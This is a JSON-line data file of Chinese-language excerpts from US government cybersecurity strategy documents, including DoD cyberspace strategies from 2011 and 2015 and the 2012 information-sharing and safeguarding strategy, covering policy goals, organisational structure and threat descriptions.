    {"text": "当前，许多国家致力于非法侵入国防部保密和非保密网络，一些国外情报机构已经具备了破坏国防部信息基础设施的能力。 更为严重的是，非国家行为体日益威胁侵入和破坏国防部的网络系统。"},
    {"text": "国防部与其他机构和国际合作伙伴一道，致力于减少美国和盟国网络空间能力面临的危险，并致力于保护和尊重个人隐私、公民自由、言论自由和改革创新，这使网络空间成为美国繁荣和安全不可分割的组成部分。 未来几年，国防部是否能够既抓住网络空间带来的机遇，又能有效管理网络空间内在的不确定性，并减少薄弱环节，将极大地影响美国的国防战备和国家安全。 一、国防部在网络空间的能力与机遇 国防部，乃至整个国家都需要一个安全可靠的网络空间，以保护最基本的自由、隐私和信息畅通。 国防部在网络空间领域拥有强大的能力和重要机遇，能够支持国家履行核心义务，提升国家安全。 美军借助网络空间快速通信和信息共享能力支援作战行动，是国防部至关重要的能力。 换句话讲，国防部在全球信息与通信技术领域的研究成果，包括网络安全专家力量，为国防部提供了在网络空间领域中的战略优势。 美国公共和民营部门的人力资源和研究成果，为国防部提供了建立当前和未来网络空间能力的雄厚基础。 通过在人员、研究和技术方面的投入，国防部在建立和利用美国民营部门技术力量方面，发挥了重要作用。"},
    {"text": "某些网络空间威胁还可能来自内部人员。 心怀不轨的内部人员可能会听命于外国政府、恐怖组织、犯罪分子或出于自身目的，滥用其进入网络的权利。"},
    {"text": "美国潜在敌手可能试图利用、破坏、阻止、损毁美国国防部赖以采取行动的网络和系统。 美国国防部尤其关注潜在敌对行为的三大领域：一是窃取或非法利用数据；"},
    {"text": "二是破坏或阻止入网或可影响其使用网络、信息或网络能力资源的服务； 三是采取包括恶化、操纵或直接威胁、破坏或损毁网络及相关系统在内的毁伤性行为。"},
    {"text": "三、五大战略计划 （1）战略计划一：将网络空间作为与陆、海、空、太空并列的“行动领域”，对美军进行组织、培训和装备，以便国防部能充分利用网络空间的潜能。"},
    {"text": "尽管组成网络空间的网络与系统是人造的，通常由私人拥有并主要供民用，但是将网络空间视为一个领域是国防部履行国家安全使命的一个关键组织概念（Critical Organizing Concept）。"},
    {"text": "为此，国防部部长已将网络空间的使命分配给美国战略司令部（USSTRATCOM）、其他作战司令部（Combatant Command）以及军事部门。 鉴于有必要确保在网络空间中有效行动及有效组织资源的能力，国防部成立了美国网络司令部（USCYBERCOM）作为美国战略司令部的次级联合司令部（Sub-unified Command）。 网络司令部的成立反映了国防部的如下需求。"},
    {"text": "● 通过与作战司令部、现役部队、各机构和采购团队（Acquisition Community）进行密切合作，快速传递和部署最迫切需要的创新能力，以保证综合能力的提升。"},
    {"text": "美国战略司令部已委托网络司令部负责同步和协调美军每一分支中的各个兵种组成部分，包括美国陆军网络司令部、美国海军舰队网络司令部/美国第10舰队、第24空军部队、美国海军陆战队网络司令部、美国海岸警卫队网络司令部。"},
    {"text": "这些独立的不同机构间的协同定位和兼职使得国防部以及美国政府，能够最大化地利用人才和能力、发挥各自的影响力和更有效地行动，以达成国防部的使命。"},
    {"text": "由于长期恶化的网络空间行动可能成为事实，在完成任务的过程中可能会出现网络破坏，因此国防部将把各种网络空间假想情况整合到演习和培训中，以帮助美军为各式各样的偶然事件做好准备。"},
    {"text": "在涉及网络故障或重大泄密的意外事故时，国防部必须通过隔离及压制其影响、使用储备能力或将行动转移到其他系统等措施，保持行动的有效性。"},
    {"text": "良好的网络卫生将延伸到信息安全的维护、向用户与管理员推广网络安全最佳做法、安全的网络设计和实施，以及智能有效网络的部署和网络配置管理。"},
    {"text": "国防部致力于在员工内部树立更强的信息安全文化以确保个人履行其职责，通过加大对恶意活动的惩罚力度来修正员工的行为和态度，防止内部人员的恶意行为。"},
    {"text": "随着恶意网络活动的持续增加，国防部已经部署积极的网络防御（Active Cyber Defense）来阻止对国防部网络和系统的入侵并击退敌对行动。 积极的网络防御是国防部同步、实时地发现、检测、分析、减少威胁和漏洞的能力。"},
    {"text": "由于无法保证每次都将恶意入侵阻断在网络边界以外，国防部会继续运行和改善其高级传感器，以监测、发现、定位和减少国防部网络上的恶意活动。"},
    {"text": "因此，国防部将与国土安全部、其他跨机构伙伴以及民营行业共享思路，开发新能力，共同努力迎接网络空间的跨领域挑战。 为实现整体政府（Whole-of-government）之路，国防部将继续与跨机构伙伴在探索新的和创新性的方式上密切合作，以提升国家网络安全。"},
    {"text": "两者间更密切的合作关系将从三方面提升国家网络安全：第一，正式化的合作架构再次证明现行的法律和政策对国防部和国土安全部协作所设的限制；"},
    {"text": "该备忘录将协助国土安全部最大限度地保护政府执行机构的.gov域名，与各州、地方、部族政府以及民营行业共同合作，协调做好美国关键基础设施的防卫工作。"},
    {"text": "在这个项目的基础上，国防部也正在试点建立一种政府与民营行业间的伙伴关系，目的在于展示主动共享有关恶意或非授权网络活动信息和网络安全保护措施的可行性与益处。"},
    {"text": "在支持美国《国际网络空间战略》以及与跨部门伙伴的合作中，国防部将寻求日益稳固的国际关系，协助实现我们在网络空间的核心承诺和共同利益。"},
    {"text": "通过及时共享网络事件、恶意代码的威胁签名，以及有关新出现的行动者和威胁的信息，各盟友和国际合作伙伴的集体网络防御能力将得到提高。"},
    {"text": "国防部的国际参与将有力地支持美国的《国际网络空间战略》以及总统就基本自由、隐私和信息自由流动所做出的承诺。 国防部将协助美国推进国际网络空间的标准和原则的开发和改善，从而提升其开放性、互操作性、安全性和可信度。 国防部将与跨机构伙伴以及国际伙伴一起鼓励负责任的行为，反对破坏网络和系统的意图，劝阻、威慑恶意行动者，保留在必要和适当的时候防御重要国家资产的权利。"},
    {"text": "与盟友和国际伙伴之间扩大的、强化的关系能将不足的网络能力最大化，减少威胁，并为阻止网络空间的恶意活动创造各种形式的合作。 这些合作将能够增加国防部的正式盟友和合作伙伴，并实现更广泛的网络安全。"},
    {"text": "国防部将在人员、技术、科技和研发方面投入资金，打造和维护对国家安全至关重要的网络空间能力。 发展并保持杰出的网络技术人才对于保障国防部在网络空间中的战略成功和本战略列出的每一计划的执行都很重要。 国防部将定期评估其网络空间人才队伍、各项要求和能力。 发展网络人才队伍对于国防部来说极为重要。"},
    {"text": "国防部还将与“总统行政办公室”合作，探索各种策略以简化网络技术人才的招聘流程，设计政府与民意报告-行业之间的网络专家交换项目，允许实现人才“无惩罚”的交叉流动，以保持并培养创新型网络人才。"},
    {"text": "范式转换（Paradigm-shifting）方式，如在预备役和国民警卫队发展网络能力，将在国防部、联邦、各州和民营行业活动中形成更强的能力、更高的专业水准和更大的灵活性。"},
    {"text": "国防部将利用交流机会以及持续教育项目，融合企业的管理方式发展网络人才队伍。 持续的教育和培训将成为网络人才的标志，从而保存和发展国防部的知识资产。"},
    {"text": "第四，国防部的各种信息技术需求，从核指挥与控制系统的现代化到文字处理软件的更新，将根据国防部对各种关键系统的优先级而采用不同的监督等级。"},
    {"text": "国防部还将增加中小企业的机会，与硅谷和其他美国技术革新中心的企业家一起将各种概念从创新性的想法快速推进到试点项目，进而推广至泛国防部的企业。"},
    {"text": "国防部的网络空间采购项目将反映出网络空间的适应性本质，它强调灵活性，接受新的行动概念，并推动科学界和美国政府（作为一个整体）之间的协作。"},
    {"text": "国防部将寻求革命性的技术，以对网络空间的技术基础进行重新思考。 为此，国防部将与领先的科学机构合作开发新的安全可靠的网络空间能力，从而更好地抵御恶意活动。"},
    {"text": "国家网络靶场（National Cyber Range）的发展将推动国防部的上述和其他努力取得成功，它使得国防部、其他美国政府机构和潜在的美国政府以外的合作伙伴能够测试和评估新的网络空间概念、政策和技术。"},
    {"text": "为鼓励民营行业参与稳健网络空间能力的发展，国防部将授权一些组织承担创新性概念和技术的交易所，并对那些开发出具有深远影响力和创新性技术的企业进行奖励。"},
    {"text": "除了与知名的技术中心建立联系外，国防部将通过小企业革新研究（SBIR）、创新风险投资以及针对新兴和新概念进行的定向投资和拨款等方式，充分调动小型企业和创业者的创造力和灵活性。"},
    {"text": "国家安全正在被网络空间重新定义。 除了机遇，国防部还面临网络空间的严峻挑战。 国防部的军事、情报和商业行动的成功都依赖于网络空间。 《网络空间行动战略》对这些挑战和机遇进行了评估，并为国防部完成网络任务制定了一条战略途径。 国防部的五大战略计划为国防部提供了一份路线图，指引其在网络空间开展有效行动、捍卫国家利益和实现国家安全目标。"},
    {"text": "通过执行本战略中的各项行动，国防部将充分利用网络空间提供的机遇，防止国防部的网络和系统受到入侵和恶意活动的攻击，支持跨机构、国际间和关键行业伙伴在提升网络安全方面所做的努力，发展稳健的网络空间能力和伙伴关系。 该战略将指导国防部在网络空间捍卫美国利益，从而使美国及其盟友和合作伙伴能够继续从信息时代的创新中获益。"},
    {"text": "完成这一使命需要我们的情报、军事、外交、国土安全、执法与公共卫生机构，以及我们在各州、各地方政府和民营部门的同行们尽可能地密切合作。"},
    {"text": "遗憾的是，我们仍存在一些不足，一些重要信息不能大范围迅速充分共享，一些机密或敏感信息在未经授权的情况下披露给外界，这损害了我们的国家安全。"},
    {"text": "为了保护国家安全我们需要共享信息，而且要保护这些信息不被其他人用于损害我们的国家，《2012年信息共享与安全保障国家战略》的目标是要在这两者之间取得适当的平衡。"},
    {"text": "因此，此战略强调采取何种手段加强对于机密与敏感信息的保护，这有助于各参与部门与机构树立信心并在彼此之间建立互信，只有这样，这些信息才能在授权用户之间共享。 《2012年信息共享与安全保障国家战略》认为重要信息是国家资产，必须受到保护并加以适当共享。 美国的国家安全所面临的威胁不断发展变化，因此，我们的政策也要相应做出调整，确保重要信息得到有效使用与保护，达到预期效果。"},
    {"text": "这包括保护美国人的隐私与个人信息，并坚持我们对于透明度的承诺。 该战略明确指出：美国人的个人隐私、公民权利与公民自由必须而且应该得到保护。"},
    {"text": "过去几年，我们已经成功地理顺了相关政策与程序，克服了文化上的障碍，对信息系统更好地进行整合，使其能够在今天动态的作战环境中实现信息共享。"},
    {"text": "不过，我们仍然面临着挑战，需要继续完善信息共享与信息安全保障的流程，并提高信息共享与信息安全保障能力。 技术上的不断创新增强了我们信息共享的能力，同时也增加了漏洞暴露的可能性，这要求我们强化信息安全保障工作。"},
    {"text": "《2012年信息共享与安全保障国家战略》为有效制订、整合并执行政策、程序、标准以及技术提供了指导意见，以促进安全与负责的信息共享工作。"},
    {"text": "首先，我们应把信息视为国家资产，认识到各部门和机构都已经达到了前所未有的能力，能够收集、存储并使用与它们的任务和适用法律职权相一致的信息；"},
    {"text": "为了建立并维持彼此间共享信息所需的信任关系，我们必须共同努力确定风险，并集体降低这种风险，而不是因噎废食，为了避免损失而根本不去共享信息。"},
    {"text": "最后，从信息通报出发做出决策是核心前提，这是我们一切行动的基础，它提醒我们：更好地制定决策是信息共享的目的，要把这一观念摆在首位。"},
    {"text": "当我们共同努力，采用合适的管理模型使任务顺利完成，在可能的情况下采用通用流程建立起相互间的信任关系，简化信息共享协议制订过程，并且通过绩效管理、培训与激励机制为最终结果提供支持时，我们就可以更好地实现我们的共同目标。"},
    {"text": "安全地发现并获取信息依赖于标识、身份验证和授权控制、数据标记、企业范围内的数据相关性、共同的信息共享标准，还需要有严谨的程序确认并验证其用途。"},
    {"text": "为了提高信息的可信度并保障其安全，我们制定的政策和具体协调机构必须把工作重点放在识别、预防和减轻内部威胁和外部入侵上，同时各部门与机构要努力提高数据层控制能力、自动化监控能力以及交叉分类解决方案。"},
    {"text": "对于保持公众信任来说，提高我们行动的一致性是必不可少的组成部分，依靠我们在整个政府中实施个人隐私、公民权利与公民自由保护，在发展信息共享的过程中建立起相应的保护机制，促进问责机制与遵守规范机制逐渐走向成熟。"},
    {"text": "在共同执行这一战略的过程中，我们将充分利用集体决议，把信息视为一项国家资产，使它可供所有授权用户发现与检索，并将这些授权用户用信息武装起来，使他们承担保护国家安全的职责。"},
    {"text": "只有我们一起努力，坚持履行自己的职责，协调一致推进我们的目标，我们才能实现国家安全，成功满足我们国家的正当要求，而且这样做是完全值得的。"},
    {"text": "1.范围 以《2010年国家安全战略》为支撑，《2012年信息共享与安全保障国家战略》（以下简称“战略”）为更有效地整合并执行政策、程序、标准和技术，促进安全与负责的国家安全信息共享提供了指导。"},
    {"text": "这一战略并不会替代《2007 年信息共享国家战略》（2007 NSIS），因为《2007年信息共享国家战略》将继续提供政策框架，并为改善信息共享指明了许多核心举措。"},
    {"text": "2.愿景 切实有效、适当地共享并保护信息是一个国家的优先事项，这样得到授权的任何个体（联邦、州、地方、部落、领地、民营部门或外国合作伙伴）才能阻止对美国人民的伤害，保护国家安全。"},
    {"text": "这一战略指明了信息共享未来的发展方向，通过在任何时间向得到授权的任一用户提供正确的信息，信息将为国家安全决策提供支持，而这只能由法律或政策加以约束，技术水平不能成为障碍；"},
    {"text": "3.在成功的基础上开展建设 在 2012 年战略确立未来发展目标的同时，《2007 年信息共享国家战略》继续为《2004年情报改革与恐怖主义预防法》的制度化要求提供政策框架，特别是改善与恐怖主义、国土安全以及大规模武器扩散相关信息共享的整合与负责情况。 《2007年信息共享国家战略》还凸显了搜集并报告本地生成信息的重要性，同时强调了及时、可直接用于行动的信息在政府、公众以及民营机构间的双向流动。"},
    {"text": "建立归州与地方机构所有并管理的全国性网络融合中心，利用全国性可疑活动报告计划（Nationwide Suspicious Activity Reporting Initiative，NSI）在各级政府间共享反恐信息，并采取一贯的政策保护个人隐私、公民权利与公民自由。"},
    {"text": "融合中心、联邦调查局（FBI）联合反恐工作小组、战地与地区情报小组、联邦、州与地方执法机构、高密度贩毒区计划（High Intensity Drug Trafficking Area Programs）、区域信息共享系统中心、情报与犯罪分析单位之间的协作水平已经有了明显提高，并且通过融合联络主任计划等措施，把部落与非执法部门的合作伙伴也包含在内。"},
    {"text": "通过《网络空间可信身份标识国家战略》下的联邦身份认证与访问管理（FICAM）框架，确立一项计划，在各个系统上统一并采用一致的用户身份识别与验证程序。"},
    {"text": "国家反恐中心数据库中的有关信息现在可以导入联邦调查局恐怖分子筛选中心数据库当中，这其中也包括国内众所周知或有理由怀疑是恐怖分子人员的身份信息，相对于以往多套、非集成的列表，这是一个显著的进步。"},
    {"text": "例如，美国联邦调查局和国土安全部（Department of Homeland Security，DHS），得到跨机构威胁评估与协作小组的支援，全年每天都可以与十几家联邦反恐机构召开3次机密视频电话会议。"},
    {"text": "虽然新方法使得信息可以在司法管辖权、功能和组织界限间顺畅流通，不过，信息共享程度得到提高也可能会制造漏洞，使我们受到伤害，影响我们开发、利用信息，并有可能造成未经授权使用信息的现象出现。"},
    {"text": "对美国本土及海外利益发动的恐怖袭击，信息系统面对的内部威胁，核扩散，网络攻击，全球经济压力，以及地区的不稳定性是我们面临的不同威胁的一些例子。"},
    {"text": "各部门与机构需要认清它们在信息共享与安全保障过程中的法定职责，克服历史上的孤立做法与政策，从整个政府的角度看待问题，并同意参与体系化的协作。"},
    {"text": "更好的协调管理框架为政策与流程的出台提供一种机制，使各参与机构和部门以一种高效且更具成本效益的方式，在信息共享与安全保障过程中各负其责。"},
    {"text": "我们的工作要尊重这种现实，以一种负责任的方式共享信息，如为数据打上“标签”，识别并确认用户身份，保护网络正常工作，这是对此类信息给予适当保护的关键。"},
    {"text": "我们正在努力工作，使互操作性能够满足用户的需要，使他们可以在“敏感但非机密”和机密的网络中访问信息，同时对这些信息保持高级别的保护。"},
    {"text": "这样一种合作关系对于美国在本土与海外取得成功都至关重要，而且我们将通过强化参与、协调、提高透明度与信息共享等机遇对这种关系提供支持。"},
    {"text": "1.把信息视为国家资产 各部门与机构已经具备了史无前例的能力去收集、存储信息，并且在符合它们的任务和法定职责的条件下使用这些信息。 它们有相应的义务使信息可供任何机构、部门或与国家安全任务相关的合作伙伴使用，并且应以一种合法且能够有效保护个人权利的方式管理这些信息。"},
    {"text": "例如，建立一种企业级的方法，把利益相关方从专注于机构本身的网络和应用程序中解脱出来，提供安全且经过授权的信息访问通道，使信息可在各部门与机构间共享。"},
    {"text": "把信息作为一项国家资产管理的同时，还要求利益相关方将这些信息提供给有需要的人使用，而且要保证它们的安全，不得未经授权或因意外被人利用。"},
    {"text": "虽然信息的原创者要对共享信息的准确性、特征描述和适用性负责，不过，在报告或决策中使用这些信息的用户同样需要对使用它们的方式负责。"},
    {"text": "总而言之，信息的收集、分析并经各利益相关方传播必须是可发现和检索的，要符合必要的法律约束，并由政府各部门的政策、标准以及管理框架加以指引。"},
    {"text": "2.信息的共享与安全保障需要各部门与机构共担风险管理机制 在信息的共享与安全保障过程中，各部门与机构建立起彼此之间的信任需要有能力实施管理，而不是规避风险。"},
    {"text": "认识到信息共享的好处，利益相关方采取适当的措施在信息共享过程中建立起彼此之间的信任关系，保护信息免受损害，从而降低风险并对这种风险加以有效管理。"},
    {"text": "同样，我们国家的安全取决于能否使信息更易于被联邦、州、地方、部落、领地、民营部门以及外国合作伙伴依据适当的任务背景以一种令人信任的方式获取。"},
    {"text": "上述原则和后文所述目标将帮助我们实现这样一种环境：在该环境中，决策由信息驱动，而且反映我们各级（从前线人员到机构负责人）的最佳评估结果。"},
    {"text": "一种有效的控制架构会对各种任务的复杂性做出说明，确认来源的真实性，弥补差距，最大限度降低冗余，并且协调利益相关方之间政策的制定与实施。"},
    {"text": "例如，全国性网络融合中心和地方执法机构使用的可疑活动报告流程（包括利益相关方的行为、隐私保护和在全国各地司法管辖区用于确定并报告可疑活动的使能技术）在共享可疑活动报告信息工作方面已被广泛采用。"},
    {"text": "为满足不断发展的任务需求，具备一定灵活性的标准化技术还促进了信息的及时发现、访问与交换，使得将新的合作伙伴纳入现有的信息流当中更为容易。"},
    {"text": "用于保护国家安全的信息共享依赖于多家政府机构、民营部门和外国合作伙伴所提供信息的有效性，所有这些部门都有不同的任务和不同的信息收集与传播政策。"},
    {"text": "遗憾的是，这一步骤经常是旷日持久的，因为参与信息共享的部门试图就信息的获取、处理等方面的事项确定双方都能接受的需求与约束，并根据不同的任务、需求、约束以及权力机构创建的模板使用信息，以共同的法律和政策合规性要求为基础将理顺这一流程，方便问题的解决并强化与民营部门以及与外国伙伴的合作关系。"},
    {"text": "利益相关方不仅要在信息共享与安全保障流程（如可发现性、及时性、准确性、合规性与监督）中对进展情况做出衡量，而且要评估他们的整体效益（如怎样利用共享的信息完成任务）。"},
    {"text": "各部门与机构较大的政策与技术调整将实现互操作能力，在确认相应用户的过程中树立起信心和相互之间的信任，同时还会提供访问任务相关信息的途径。"},
    {"text": "大多数信息授权模型被限制在访问控制领域，在网络或应用程序层加以约束和实施，而不是利用具体信息资源的固有特性在数据层加以约束和实施。"},
    {"text": "通过把用户属性与相应的信息属性加以匹配，特定任务信息自动化传送的情况得到了改善，同时对信息加密并采取保护措施，使之不能被发送给错误的收件人，在如下几个方面信息标记进一步发挥了辅助作用：满足记录的管理需求，对披露查询做出回应，整合隐私保护，并且对错误的数据披露与更改做出补救。"},
    {"text": "能否把不同部门与机构数据库中的关联信息连接到一起，意味着如下所述的不同结果：一种是在威胁的计划阶段就对它加以确定，而另一种是在威胁已经产生后分析应该采取什么样的措施挫败袭击。"},
    {"text": "为了发展这种能力，同时考虑日益增加的数据量，利益相关方需要使他们的信息能够被访问，这样分析人员才能创建一种单一的查询方法搜索大量信息资源。"},
    {"text": "分析人员还需要自动化功能，当存在与任务相关的可用信息时，在拥有信息和发出警报之间建立联系，虽然目前的技术需要集中式的数据仓库，它在有限的条件下还可能适当保留，不过，分布式处理的办法使创建者可以根据需要维护并更新信息。"},
    {"text": "参与信息共享且富有远见的部门与机构利用自愿达成的共识，确定了标准做法（正如现有联邦政策中描述的那样），其中政府采用标准化组织已经确立的标准，这些标准化组织往往包含了政府、产业界以及国际会员。"},
    {"text": "由于缺乏适用于整个政府、民营部门以及国际机构的标准，决策者与用户面临着挑战，即确定哪些标准最能满足用户需求，同时还满足与其他伙伴的互操作性要求。"},
    {"text": "这还会告知决策者采用哪些最为合适的标准，同时向业界发出信号，可以使用哪些标准开发工具和产品推进互操作性的发展，并为更广泛的任务需要提供支持。"},
    {"text": "各部门与机构继续设法解决由于使用旧的数据、服务与系统带来的问题，那些过时的技术已经不同程度地与各种机密和非机密的网络连接在一起。"},
    {"text": "依靠在信息技术解决方案的设计阶段进行规划并给予优先考虑，各部门与机构能够享受到跨机构实施互操作性所带来的优势，同时满足个别任务的授权需要。"},
    {"text": "当政府部门和机构或与产业界结成合作伙伴关系，确定并重复使用政府已经处理过的最好解决方案，并且开发基于标准的技术，为多项任务和多家机构提供支持时，我们用于系统集成和信息共享的能力将得到进一步的增强，并且更具灵活性。"},
    {"text": "联邦采购政策，包括无偿援助政策，将促进部门与机构间的合作，并对它们给予奖励，这会促进重新利用现有服务，并鼓励企业层采购的重点发展。"},
    {"text": "无论信息在什么样的环境下流动，安全控制的粒度越细，越能改善对于信息的访问状况，并加强对于信息的保护，防止信息在未经授权的情况下被披露、传播、访问和修改。"},
    {"text": "利用管理机构和现有程序，不断完善并建立必要的指导方针，对共享信息提供适当保护，如《信息共享环境隐私保护准则》（Information Sharing Environment Privacy Guidelines）。"},
    {"text": "培养一种全面而有效的方法，在联邦与非联邦合作伙伴信息共享过程中定义并实施个人隐私、公民权利与公民自由保护，维持适用的法律、法规与政策要求。"},
    {"text": "在任何新举措的初期阶段（或者在现有系统与流程的重新设计阶段）解决个人隐私、公民权利与公民自由等问题，使这些信息的保护措施可以在整个企业范围内加以考虑、整合、管理与监控。"},
    {"text": "当前，各部门与机构就其在个人隐私、公民权利与公民自由保护等方面的严谨性实施监督并做出报告，在此过程中，这些机构与部门采用了适当的合规性文档与绩效管理技术。"},
    {"text": "问责制中采用的监控与衡量合规性验证机制在确定和处理漏洞方面对任务伙伴起辅助作用，同样的作用还体现在验证他们是否主动并系统化地完善对于个人权利的保护方面。"},
    {"text": "在向企业方法过渡过程中，必须不断强化保护措施并实施评估，包括监控访问与应用控制、审计和用途信息的分析，开展定期、系统性的合规性审查。"},
    {"text": "（五）未来发展方向 正如《美国国家安全战略》中所阐述的那样，“各政府部门开展合作，并与各州、地方和部落的伙伴以及产业界和国外的合作伙伴开展合作，必将为我们的活动提供指导。"},
    {"text": "总之，我们可以超越传统意上的信息共享协议，深入我们的使命，当得到所有相关信息的支持时，指导有关机构与部门做出自信的决策，使民众得以更好地了解。"},
    {"text": "我们的事业取得成功取决于共同努力，在信息共享与安全保障之间实现平衡，它建立在以往成功的基础之上，并依赖于不断成熟的信息共享环境。"},
    {"text": "这一实施计划将把年度计划与实施指导原则加以整合，与联邦预算周期保持同步，并保持适当的灵活性，可以对活动加以调整，根据年度绩效管理、重点更替和资源分配予以交付。"},
    {"text": "计划在实施过程中将包括为国家安全提供支持的所有部门与机构，这些部门与机构由白宫领导，该实施计划利用管理与预算办公室的战略资源分配流程，在适当条件下，根据任务相关性与现有权限，由各部、局和行政机构管理。"},
    {"text": "（2）为信息共享与安全保障协定制订指导原则，解决共同的需求，包括个人隐私、公民权利与公民自由的保护，同时允许在满足任务需求的过程中采取一定的灵活性。"},
    {"text": "（8）促进各方遵守现有跨部门流程，与外国合作伙伴协调信息共享计划，接受并实施必要的指导方针，遵守法定机构与总统政策的要求，确保在信息共享与安全保障中保持一致。"},
    {"text": "（10）完成全国性可疑活动报告计划（NSI）在全国网络融合中心和联邦机构内的实施，同时扩大培训与宣传范围，除执法部门外还要包括公共安全机构。"},
    {"text": "（11）实现 4 种关键的作战能力、4 种使能能力及其他优先目标，在州与地方环境内围绕全国网络融合中心，使之能够有效并合法地发挥作为一个重点的作用，用于接收、分析、搜集并共享与威胁有关的信息。"},
    {"text": "整个政府内的国家安全利益相关方，以我们共同的原则为指导，现在可以采取一致的行动来实现这些优先目标，确定执行计划以实现这一战略目标。"},
    {"text": "随着我们合力执行这一战略，我们将充分利用集体决定，把信息作为一项国家资产，使它能够被所有授权用户发现和检索，用所有可用信息对那些负责维护我们国家安全的机构进行武装，推动它们做出正确的决策，保护我们的国家和人民。"},
    {"text": "美国致力于打造一个开放、安全、互操作和可靠的互联网，促进繁荣、公共安全和贸易及思想的自由流动。 互联网的这些特点反映了美国的核心价值观——言论自由和隐私、创造力、机会和创新。 这些特点使互联网向数十亿人民提供了社会和经济价值。"},
    {"text": "例如，2014年11月，似乎是为了报复预计发布的讽刺电影，朝鲜进行了针对索尼影视娱乐公司的网络攻击，使索尼成千上万台计算机无法操作，并破坏了索尼的机密商业信息。 除了攻击的毁灭性特点，朝鲜还偷走了大量未发行的电影，以及数以千计的文件，包含有关名人、索尼员工和索尼公司业务运营的敏感数据。"},
    {"text": "在进行网络攻击的同时，朝鲜还进行了胁迫、恐吓和恐怖主义式的威胁。 朝鲜对索尼的攻击是到目前为止针对美国实体最具破坏性的网络攻击之一。"},
    {"text": "超出上文所述的攻击，一个老练的行动者能够针对公用事业的工业控制系统（ICS），来影响公众的安全，或进入一个网络，以操纵健康记录来影响个人的健康。"},
    {"text": "如果失去生命，毁坏财产，政策目标受到破坏或经济利益受到影响，一次破坏性、操纵性或毁灭性的网络攻击可能给美国经济和国家安全带来重大风险。"},
    {"text": "各国政府、公司和组织必须仔细确定需要优先保护的系统和数据，评估风险和危害，并在网络安全和网络防御能力方面做出审慎的投资，以实现其安全目标和目的。"},
    {"text": "（一）防御网络空间中的美国 美国国防部（DOD）与其他机构一道，负责保卫美国本土和美国的利益免受攻击，包括可能发生在网络空间中的攻击。"},
    {"text": "为此，国防部发展网络运行的能力，将这些能力集成到全方位工具组中，美国政府用此来捍卫美国的国家利益，包括外交、信息、军事、经济、金融和执法工具。"},
    {"text": "这一战略是建立在之前关于发展国防部网络特派部队和网络劳动力的决定之上的，它提供全新和具体的指导，以减轻预期的风险，抓住机遇，加强美国的国家安全。"},
    {"text": "为了保护和推进美国在网络空间中的利益，国防部在一系列的网络活动中以综合的方式，与美国政府部门分享信息并协作。 例如，如果国防部获悉恶意网络活动会影响美国重要网络和系统，对美国国家和经济安全或公共安全至关重要，国防部会在探寻美国实体的时候，支持国土安全部（DHS）和联邦调查局（FBI）等机构，并经常与其他国家分享潜在攻击的技术指标等威胁信息。"},
    {"text": "国防部从事各种各样的活动，以提高国外网络安全和网络操作能力。 国防部帮助美国的盟友和伙伴了解它们所面临的网络威胁，建立保卫其网络和数据的必要网络能力。"},
    {"text": "在冷战期间，部队要准备在访问通信可能被对手的高级能力中断的环境中运作，包括电磁脉冲的潜在使用，可能会破坏卫星和其他全球通信功能。"},
    {"text": "网络攻击由总统和美国的国家安全团队在个别情况及具体事实的基础上进行评估，重大的后果可能包括生命损失、重大财产损失、对美国外交政策造成严重不良后果或对美国经济造成重大影响。 如果由总统或国防部部长领导，美军可能会采取网络行动，对付迫在眉睫或正在进行的袭击美国本土或损害美国在网络空间利益的行为。"},
    {"text": "国防部试图与其他政府机构职能同步，开发了一系列的可选措施和方法，在造成重大后果的网络攻击产生影响力之前，实施干扰，包括执法、情报和外交工具。"},
    {"text": "总统或国防部部长恰当的决定，是让美国军方进行网络操作，扰乱对手军事相关的网络或基础设施，以便让美国军队在一个运作领域内保护美国的利益。 例如，美国军方可能在美方的立场上，使用网络行动终止持续不断的冲突，或扰乱对手的军事系统，防止其使用武力损害美国的利益。 美国网络司令部（USCYBERCOM）也可能受命进行网络操作，在适当的时候与其他美国政府机构一道阻止或打败其他领域中的战略威胁。"},
    {"text": "对于其他的业务领域，在网络空间中国防部的行动将会一直体现不朽的美国价值观，包括支持法治，以及尊重和保护言论自由和隐私、信息、贸易和思想自由传播。"},
    {"text": "网络设施所有者和经营者必须与军事部计算机应急反应小组（CERT）、国土安全部（DHS）和 USCYBERCOM 合作，为任务关键型系统建立自适应的防御和连续性计划，并建立支持它们的民事制度。"},
    {"text": "在整体上，网络特派部队代表着国防部和美国的重大投资，这一战略的一个中心目标是要确定具体的目标和目的，以指导网络特派部队的发展和国防部更广泛的网络劳动力量，保护和防卫美国国家利益。 网络特派部队由网络运营商组织，形成133支团队，主要有以下合作：网络保护部队将增加传统的防御措施，并捍卫国防部一级网络和系统，对抗首要威胁； 国家特派部队和其相应的支持团队将捍卫美国及其利益，抵御有严重后果的网络攻击； 打击特派部队及其相关支持团队将通过产生综合网络空间影响，支持战斗指令，支持业务计划和应急行动。 战斗命令将打击特派部队和网络保护小组纳入计划和行动，在网络空间雇用它们，而国家特派部队在USCYBERCOM的指挥官领导下运作。"},
    {"text": "2013年，国防部开始将CMF纳入更大的多任务美国军事力量来实现跨域协同作用，确保CMF在军事范围内准备妥当，并重组军事及文职工作人员队伍和基础设施，执行国防部的任务。"},
    {"text": "在实施这一战略的过程中，国防部将继续建设 CMF，继续完善必要的指令、控制并允许组织所需的切实有效的行动。 国防部将工作重点放在保证部队群联，演练各机构需要的网络智能和体系结构，继续建立政策和法律框架来规范 CMF 人员雇用，将 CMF 纳入国防部的总体规划和部队建设之中。"},
    {"text": "鉴于领域内利益攸关方数量之多、种类之繁，跨越国际边界的信息流动，以及分布于政府和民营企业间的职责、权利和能力，在网络空间寻求安全需要政府全体和国际途径。"},
    {"text": "例如，国防部自身的网络是由分布在世界各地、各式各样数以千计的网络共同构成的，并且国防部还不具备可见的能有效保卫其冗杂的网络所需的组织结构。"},
    {"text": "二、战略背景 （一）重大网络威胁 从2013年到2015年，国家情报主管将网络威胁列为美国的头号战略威胁，这是自“9·11”事件以来，首次将其排在恐怖主义前面。"},
    {"text": "行动者可能会以各种目的渗透美国网络和系统，如窃取知识产权，因激进目的而扰乱社会组织运行，或进行破坏性和毁灭性的攻击，以达到军事目的。"},
    {"text": "为了实施具有破坏性或毁灭性的网络操作，针对军事系统或工业控制系统运行，需要专门知识，但潜在的对手不需要花费数十亿美元来开发一种新的进攻手段。"},
    {"text": "（三）国防部网络和基础建设风险 国防部自身的网络和系统很容易受到入侵和攻击。 除了国防部自身的网络，国防部赖以运作的重要基础设施和资源也容易遭受网络攻击，甚至会影响美国军方在意外事件中的运转能力。"},
